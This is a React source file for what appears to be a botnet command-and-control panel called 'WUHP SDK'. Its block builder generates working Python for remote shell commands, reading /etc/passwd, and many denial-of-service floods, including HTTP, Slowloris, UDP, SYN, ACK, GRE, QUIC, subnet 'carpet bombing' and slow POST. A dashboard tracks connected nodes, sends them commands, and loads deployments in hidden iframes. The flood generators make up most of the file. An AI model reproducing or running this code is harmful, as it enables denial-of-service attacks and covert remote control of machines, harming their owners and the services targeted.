Spaces:
Sleeping
Sleeping
| import React, { useState, useEffect, useRef } from 'react'; | |
| import { | |
| Activity, | |
| Terminal, | |
| Globe, | |
| Server, | |
| ShieldCheck, | |
| Settings, | |
| Download, | |
| Play, | |
| Wifi, | |
| Cpu, | |
| Folder, | |
| FileText, | |
| GripVertical, | |
| Trash2 | |
| } from 'lucide-react'; | |
| import { cn } from './lib/utils'; | |
| import { DndContext, closestCenter, KeyboardSensor, PointerSensor, useSensor, useSensors } from '@dnd-kit/core'; | |
| import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable'; | |
| import { CSS } from '@dnd-kit/utilities'; | |
| const BLOCK_CONFIGS: Record<string, any> = { | |
| http_probe: { | |
| title: 'HTTP GET Probe', color: 'bg-indigo-600', | |
| fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}], | |
| generator: (p: any) => `def exec_fetch_http_test(ip, port):\n import requests, time\n try:\n t0 = time.time()\n res = requests.get(f"http://{ip}:{port}/", timeout=3)\n return {"status": f"HTTP_{res.status_code}"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_fetch_http_test("${p.ip}", ${p.port}))` | |
| }, | |
| tcp_handshake: { | |
| title: 'TCP Handshake', color: 'bg-indigo-600', | |
| fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}], | |
| generator: (p: any) => `def exec_tcp_probe(ip, port):\n import socket, time\n try:\n t0 = time.time()\n with socket.socket(socket.AF_INET, socket.STREAM) as s:\n s.settimeout(2); s.connect((ip, int(port)))\n return {"status": "tcp_connected"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_tcp_probe("${p.ip}", ${p.port}))` | |
| }, | |
| exec_shell: { | |
| title: 'Execute Shell', color: 'bg-emerald-600', | |
| fields: [{key: 'cmd', label: 'Command', default: 'whoami'}], | |
| generator: (p: any) => `def exec_shell(cmd):\n import subprocess\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(exec_shell("${p.cmd}"))` | |
| }, | |
| ping: { | |
| title: 'ICMP Ping', color: 'bg-indigo-600', | |
| fields: [{key: 'host', label: 'Target Host', default: 'google.com'}], | |
| generator: (p: any) => `def icmp_ping(host):\n import subprocess, platform\n cmd = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(icmp_ping("${p.host}"))` | |
| }, | |
| read_file: { | |
| title: 'Read File', color: 'bg-blue-600', | |
| fields: [{key: 'path', label: 'File Path', default: '/etc/passwd'}], | |
| generator: (p: any) => `def read_file(path):\n try:\n with open(path, 'r') as f: return {"content": f.read(4000)}\n except Exception as e:\n return {"error": str(e)}\n\nprint(read_file("${p.path}"))` | |
| }, | |
| http_get_flood: { | |
| title: 'L7 HTTP GET Flood', color: 'bg-rose-600', | |
| fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def http_get_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_get_flood("${p.url}", ${p.duration}, ${p.threads}))` | |
| }, | |
| http_post_flood: { | |
| title: 'L7 HTTP POST Flood', color: 'bg-rose-600', | |
| fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def http_post_flood(url, duration, threads_count):\n import threading, time, requests, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, data=os.urandom(16), timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_post_flood("${p.url}", ${p.duration}, ${p.threads}))` | |
| }, | |
| slowloris: { | |
| title: 'L7 Slowloris', color: 'bg-rose-600', | |
| fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}], | |
| generator: (p: any) => `def slowloris(ip, port, duration, threads_count):\n import socket, threading, time, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept-language: en-US,en,q=0.5\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(f"X-a: {random.randint(1,5000)}\\r\\n".encode())\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.05)\n for t in threads: t.join()\n return stats\n\nprint(slowloris("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` | |
| }, | |
| api_abuse_flood: { | |
| title: 'L7 API Abuse', color: 'bg-rose-600', | |
| fields: [{key: 'url', label: 'API Endpoint', default: 'http://127.0.0.1/graphql'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def api_abuse_flood(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, json={"query": "test", "id": random.randint(1,99999)}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(api_abuse_flood("${p.url}", ${p.duration}, ${p.threads}))` | |
| }, | |
| udp_flood: { | |
| title: 'L4 UDP Flood', color: 'bg-orange-600', | |
| fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '1024'}], | |
| generator: (p: any) => `def udp_flood(ip, port, duration, threads_count, packet_size):\n import socket, time, os, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(int(packet_size))\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(udp_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}, ${p.size}))` | |
| }, | |
| syn_flood: { | |
| title: 'L4 SYN Flood (Requires Root)', color: 'bg-orange-600', | |
| fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def syn_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"SYN_DUMMY_PAYLOAD", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(syn_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` | |
| }, | |
| carpet_bombing: { | |
| title: 'L4 Carpet Bombing', color: 'bg-orange-600', | |
| fields: [{key: 'subnet', label: 'Subnet (e.g. 192.168.1.)', default: '192.168.1.'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def carpet_bombing(subnet, port, duration, threads_count):\n import socket, time, os, threading, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(512)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n target_ip = subnet + str(random.randint(1, 254))\n try: s.sendto(payload, (target_ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(carpet_bombing("${p.subnet}", ${p.port}, ${p.duration}, ${p.threads}))` | |
| }, | |
| websocket_flood: { | |
| title: 'L7 WebSocket Abuse', color: 'bg-rose-600', | |
| fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}], | |
| generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))` | |
| }, | |
| ack_flood: { | |
| title: 'L4 ACK Flood', color: 'bg-orange-600', | |
| fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def ack_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"ACK_DUMMY", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(ack_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` | |
| }, | |
| connection_exhaustion: { | |
| title: 'L4 State Exhaustion', color: 'bg-orange-600', | |
| fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def conn_exhaust(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n sockets = []\n while time.time() < t_end:\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)\n s.connect((ip, int(port))); sockets.append(s); stats["sent"] += 1\n if len(sockets) > 500: sockets.pop(0).close()\n except: stats["errors"] += 1\n for s in sockets:\n try: s.close()\n except: pass\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(conn_exhaust("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` | |
| }, | |
| gre_flood: { | |
| title: 'L3/L4 GRE Flood', color: 'bg-orange-600', | |
| fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '512'}], | |
| generator: (p: any) => `def gre_flood(ip, duration, threads_count, pkt_size):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)\n except: stats["errors"] += 1; return\n payload = os.urandom(int(pkt_size))\n while time.time() < t_end:\n try: s.sendto(payload, (ip, 0)); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(gre_flood("${p.ip}", ${p.duration}, ${p.threads}, ${p.size}))` | |
| }, | |
| http3_quic_flood: { | |
| title: 'L7 HTTP/3 QUIC Flood', color: 'bg-rose-600', | |
| fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '443'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def quic_flood(ip, port, duration, threads_count):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n quic_payload = b'\\xc0\\x00\\x00\\x00\\x01\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' + os.urandom(1200)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(quic_payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(quic_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` | |
| }, | |
| http2_multiplex: { | |
| title: 'L7 HTTP/2 Multiplex Abuser', color: 'bg-rose-600', | |
| fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Concurrent Sessions', default: '10'}], | |
| generator: (p: any) => `def http2_multiplex(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try:\n session = requests.Session()\n for _ in range(20):\n if time.time() >= t_end: break\n session.get(url, timeout=2)\n stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http2_multiplex("${p.url}", ${p.duration}, ${p.threads}))` | |
| }, | |
| browser_emulation: { | |
| title: 'L7 Browser Emulation', color: 'bg-rose-600', | |
| fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Virtual Browsers', default: '10'}], | |
| generator: (p: any) => `def browser_emulation(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n user_agents = [\n "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",\n "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"\n ]\n def worker():\n session = requests.Session()\n while time.time() < t_end:\n try:\n headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}\n session.get(url, headers=headers, timeout=5)\n stats["sent"] += 1\n time.sleep(random.uniform(0.1, 0.8))\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(browser_emulation("${p.url}", ${p.duration}, ${p.threads}))` | |
| }, | |
| slow_post_flood: { | |
| title: 'L7 Slow POST (Body Exhaustion)', color: 'bg-rose-600', | |
| fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], | |
| generator: (p: any) => `def slow_post(ip, port, duration, threads_count):\n import socket, threading, time\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"POST / HTTP/1.1\\r\\nHost: {ip}\\r\\nContent-Length: 100000\\r\\n\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(b"a")\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.1)\n for t in threads: t.join()\n return stats\n\nprint(slow_post("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` | |
| } | |
| }; | |
| const SortableBlock = ({ id, type, params, onUpdate, onRemove }: any) => { | |
| const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id }); | |
| const style = { | |
| transform: CSS.Transform.toString(transform), | |
| transition, | |
| }; | |
| const config = BLOCK_CONFIGS[type]; | |
| if (!config) return null; | |
| return ( | |
| <div ref={setNodeRef} style={style} className="flex flex-col mb-4 group relative"> | |
| <div className="flex border-l-[6px] border-l-transparent" style={{ borderLeftColor: config.color.replace('bg-', 'var(--').replace('-600', '-500)') /* fake color vars aren't perfectly mapped, we use tailwind classes directly below */ }}> | |
| <div {...attributes} {...listeners} className={cn("cursor-grab active:cursor-grabbing p-2 rounded-l-md text-white flex items-center shadow-md", config.color)}> | |
| <GripVertical size={16} /> | |
| </div> | |
| <div className="flex-1 bg-slate-800 border border-slate-700/50 rounded-r-xl p-3 shadow-md transition-all"> | |
| <div className="flex justify-between items-center mb-3"> | |
| <div className="flex items-center gap-2"> | |
| <span className={cn("inline-block w-2.5 h-2.5 rounded-full shadow-sm", config.color)} /> | |
| <span className="text-sm font-bold text-slate-100">{config.title}</span> | |
| </div> | |
| <button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-1.5 rounded-md hover:bg-red-400/10"> | |
| <Trash2 size={14} /> | |
| </button> | |
| </div> | |
| <div className="bg-slate-900/50 rounded-lg p-3 grid gap-3"> | |
| {config.fields.map((f: any) => ( | |
| <div key={f.key} className="flex items-center gap-3"> | |
| <label className="text-xs font-medium text-slate-400 w-24 text-right shrink-0">{f.label}</label> | |
| <input | |
| type="text" | |
| value={params[f.key] || ''} | |
| onChange={(e) => onUpdate(id, f.key, e.target.value)} | |
| className="flex-1 bg-black/40 border border-slate-700 rounded px-2.5 py-1 text-xs text-emerald-300 focus:outline-none focus:border-indigo-500 font-mono shadow-inner" | |
| /> | |
| </div> | |
| ))} | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| ); | |
| }; | |
| export default function App() { | |
| const [activeTab, setActiveTab] = useState('dashboard'); | |
| const [deployments, setDeployments] = useState<string[]>([]); | |
| const [deployLogs, setDeployLogs] = useState<string[]>([]); | |
| const [toasts, setToasts] = useState<{id: string, msg: string, type: string}[]>([]); | |
| const [iframeKey, setIframeKey] = useState(0); | |
| const prevNodesRef = useRef(new Map()); | |
| const addToast = (msg: string, type: 'info'|'success'|'warning' = 'info') => { | |
| const id = Math.random().toString(); | |
| setToasts(t => [...t, {id, msg, type}]); | |
| setTimeout(() => setToasts(t => t.filter(x => x.id !== id)), 5000); | |
| }; | |
| useEffect(() => { | |
| const fetchStatus = async () => { | |
| try { | |
| const res = await fetch('/api/status'); | |
| const json = await res.json(); | |
| setDeployments(json.deployments || []); | |
| if (json.deployLogs) setDeployLogs(json.deployLogs); | |
| // Handle node online/offline toasts | |
| if (json.nodes) { | |
| const currentNodes = new Map(); | |
| json.nodes.forEach((n: any) => { | |
| const isActive = Date.now() - n.lastSeen < 20000; | |
| currentNodes.set(n.id, isActive); | |
| const wasActive = prevNodesRef.current.get(n.id); | |
| if (wasActive === undefined) { | |
| addToast(`New Node Connected: ${n.id} (${n.type})`, 'success'); | |
| } else if (!wasActive && isActive) { | |
| addToast(`Node Online: ${n.id}`, 'success'); | |
| } else if (wasActive && !isActive) { | |
| addToast(`Node Offline: ${n.id}`, 'warning'); | |
| } | |
| }); | |
| prevNodesRef.current = currentNodes; | |
| } | |
| } catch (err) {} | |
| }; | |
| fetchStatus(); | |
| const iv = setInterval(fetchStatus, 5000); | |
| return () => clearInterval(iv); | |
| }, []); | |
| return ( | |
| <div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30"> | |
| {/* Toast Container */} | |
| <div className="fixed top-4 right-4 z-50 flex flex-col gap-2"> | |
| {toasts.map(t => ( | |
| <div key={t.id} className={cn( | |
| "px-4 py-3 rounded-lg shadow-xl text-sm font-medium border flexitems-center gap-2 animate-in fade-in slide-in-from-top-2", | |
| t.type === 'success' ? 'bg-emerald-500/20 border-emerald-500/50 text-emerald-100' : | |
| t.type === 'warning' ? 'bg-amber-500/20 border-amber-500/50 text-amber-100' : | |
| 'bg-slate-800 border-slate-700 text-slate-200' | |
| )}> | |
| {t.msg} | |
| </div> | |
| ))} | |
| </div> | |
| <div className="hidden"> | |
| {deployments.map(url => ( | |
| <iframe key={`${url}-${iframeKey}`} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" /> | |
| ))} | |
| </div> | |
| <div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden"> | |
| {/* Sidebar */} | |
| <aside className="w-full md:w-64 glass rounded-3xl p-6 flex flex-col gap-2 shrink-0 overflow-y-auto"> | |
| <div className="flex items-center gap-3 px-2 mb-6"> | |
| <div className="w-8 h-8 bg-indigo-500 rounded-lg shadow-lg shadow-indigo-500/20 flex items-center justify-center"> | |
| <Activity className="w-5 h-5 text-white" /> | |
| </div> | |
| <h1 className="font-bold text-xl tracking-tight text-white">WUHP SDK</h1> | |
| </div> | |
| <SidebarButton | |
| active={activeTab === 'dashboard'} | |
| onClick={() => setActiveTab('dashboard')} | |
| icon={<Activity size={18} />} | |
| label="Node Dashboard" | |
| /> | |
| <SidebarButton | |
| active={activeTab === 'payloads'} | |
| onClick={() => setActiveTab('payloads')} | |
| icon={<Download size={18} />} | |
| label="Node Payloads" | |
| /> | |
| <SidebarButton | |
| active={activeTab === 'deploy'} | |
| onClick={() => setActiveTab('deploy')} | |
| icon={<Globe size={18} />} | |
| label="Cloud Deploy" | |
| /> | |
| <SidebarButton | |
| active={activeTab === 'builder'} | |
| onClick={() => setActiveTab('builder')} | |
| icon={<Cpu size={18} />} | |
| label="Builder" | |
| /> | |
| <SidebarButton | |
| active={activeTab === 'docs'} | |
| onClick={() => setActiveTab('docs')} | |
| icon={<FileText size={18} />} | |
| label="Documentation" | |
| /> | |
| <SidebarButton | |
| active={activeTab === 'cmds_network'} | |
| onClick={() => setActiveTab('cmds_network')} | |
| icon={<Wifi size={18} />} | |
| label="Network Commands" | |
| /> | |
| <SidebarButton | |
| active={activeTab === 'cmds_system'} | |
| onClick={() => setActiveTab('cmds_system')} | |
| icon={<Cpu size={18} />} | |
| label="System Commands" | |
| /> | |
| <SidebarButton | |
| active={activeTab === 'cmds_file'} | |
| onClick={() => setActiveTab('cmds_file')} | |
| icon={<Folder size={18} />} | |
| label="File Commands" | |
| /> | |
| <div className="mt-auto pt-6"> | |
| <SidebarButton | |
| active={activeTab === 'settings'} | |
| onClick={() => setActiveTab('settings')} | |
| icon={<Settings size={18} />} | |
| label="Integration Tokens" | |
| /> | |
| </div> | |
| </aside> | |
| {/* Main Content Area */} | |
| <main className="flex-1 overflow-y-auto w-full glass rounded-3xl p-6"> | |
| <div className="max-w-5xl mx-auto flex flex-col gap-6"> | |
| {activeTab === 'dashboard' && <DashboardTab />} | |
| {activeTab === 'payloads' && <PayloadsTab />} | |
| {activeTab === 'deploy' && <DeployTab />} | |
| {activeTab === 'cmds_network' && <CommandsTab category="network" />} | |
| {activeTab === 'cmds_system' && <CommandsTab category="system" />} | |
| {activeTab === 'cmds_file' && <CommandsTab category="file" />} | |
| {activeTab === 'builder' && <BuilderTab />} | |
| {activeTab === 'docs' && <DocsTab />} | |
| {activeTab === 'settings' && <SettingsTab />} | |
| </div> | |
| </main> | |
| </div> | |
| </div> | |
| ); | |
| } | |
| // --- Generic Components --- | |
| function SidebarButton({ active, onClick, icon, label }: { active: boolean, onClick: () => void, icon: React.ReactNode, label: string }) { | |
| return ( | |
| <button | |
| onClick={onClick} | |
| className={cn( | |
| "flex items-center gap-3 px-3 py-2.5 rounded-xl text-sm transition-all text-left font-medium", | |
| active | |
| ? "bg-white/10 text-white shadow-sm" | |
| : "text-slate-400 hover:bg-white/5 hover:text-slate-200 border border-transparent" | |
| )} | |
| > | |
| {icon} | |
| {label} | |
| </button> | |
| ); | |
| } | |
| function Card({ title, children, icon }: { title: string, children: React.ReactNode, icon?: React.ReactNode }) { | |
| return ( | |
| <div className="glass rounded-3xl overflow-hidden shadow-xl shadow-black/20 flex flex-col gap-3 group transition-all hover:border-indigo-500/30"> | |
| <div className="px-6 py-5 border-b border-white/5 flex items-center gap-3 bg-white/5"> | |
| {icon && <div className="text-indigo-400">{icon}</div>} | |
| <h2 className="font-semibold text-white tracking-wide text-sm">{title}</h2> | |
| </div> | |
| <div className="p-6 pt-3"> | |
| {children} | |
| </div> | |
| </div> | |
| ); | |
| } | |
| // --- Tabs --- | |
| function DashboardTab() { | |
| const [data, setData] = useState({ nodes: [], reports: [] }); | |
| const [filter, setFilter] = useState('all'); | |
| const [selected, setSelected] = useState<Set<string>>(new Set()); | |
| useEffect(() => { | |
| const fetchStatus = async () => { | |
| try { | |
| const res = await fetch('/api/status'); | |
| const json = await res.json(); | |
| setData(json); | |
| } catch (err) { | |
| console.error(err); | |
| } | |
| }; | |
| fetchStatus(); | |
| const iv = setInterval(fetchStatus, 3000); | |
| return () => clearInterval(iv); | |
| }, []); | |
| const removeNode = async (id: string) => { | |
| await fetch('/api/commands', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ target: id, type: 'self_terminate', payload: {}, repeat: false }) | |
| }); | |
| await fetch(`/api/nodes/${id}`, { method: 'DELETE' }); | |
| setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) })); | |
| }; | |
| const removeSelected = async () => { | |
| for (const id of Array.from(selected)) { | |
| await removeNode(id as string); | |
| } | |
| setSelected(new Set<string>()); | |
| }; | |
| const toggleSelect = (id: string) => { | |
| setSelected(prev => { | |
| const n = new Set(prev); | |
| if (n.has(id)) n.delete(id); | |
| else n.add(id); | |
| return n; | |
| }); | |
| }; | |
| const toggleAll = (visibleNodes: any[]) => { | |
| if (selected.size === visibleNodes.length && visibleNodes.length > 0) { | |
| setSelected(new Set()); | |
| } else { | |
| setSelected(new Set(visibleNodes.map(n => n.id))); | |
| } | |
| }; | |
| const filteredNodes = data.nodes.filter((n: any) => { | |
| const isActive = Date.now() - n.lastSeen < 20000; | |
| if (filter === 'active') return isActive; | |
| if (filter === 'inactive') return !isActive; | |
| return true; | |
| }); | |
| return ( | |
| <div className="flex flex-col gap-6"> | |
| <div className="grid grid-cols-1 md:grid-cols-3 gap-4"> | |
| <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50"> | |
| <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span> | |
| <span className="text-3xl font-bold text-white font-mono">{data.nodes.filter((n: any) => Date.now() - n.lastSeen < 20000).length}</span> | |
| </div> | |
| <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50"> | |
| <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span> | |
| <span className="text-3xl font-bold text-white font-mono">{data.reports.length}</span> | |
| </div> | |
| <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-emerald-500/50"> | |
| <span className="text-emerald-500/70 text-xs uppercase tracking-wider font-semibold mb-1">System Status</span> | |
| <div className="flex items-center gap-2 mt-1"> | |
| <div className="w-2 h-2 rounded-full bg-emerald-500 shadow-md shadow-emerald-500/50 animate-pulse"></div> | |
| <span className="text-lg font-semibold text-emerald-400">All Systems Nominal</span> | |
| </div> | |
| </div> | |
| </div> | |
| <Card title="Connected Nodes" icon={<Server size={18} />}> | |
| <div className="flex gap-4 mb-4 items-center justify-between px-2"> | |
| <div className="flex gap-4 items-center"> | |
| <label className="text-sm font-medium text-slate-400">Filter:</label> | |
| <select | |
| className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500 transition-colors" | |
| value={filter} onChange={e => setFilter(e.target.value)} | |
| > | |
| <option value="all">All Nodes</option> | |
| <option value="active">Active ({'<'} 20s skip)</option> | |
| <option value="inactive">Inactive</option> | |
| </select> | |
| </div> | |
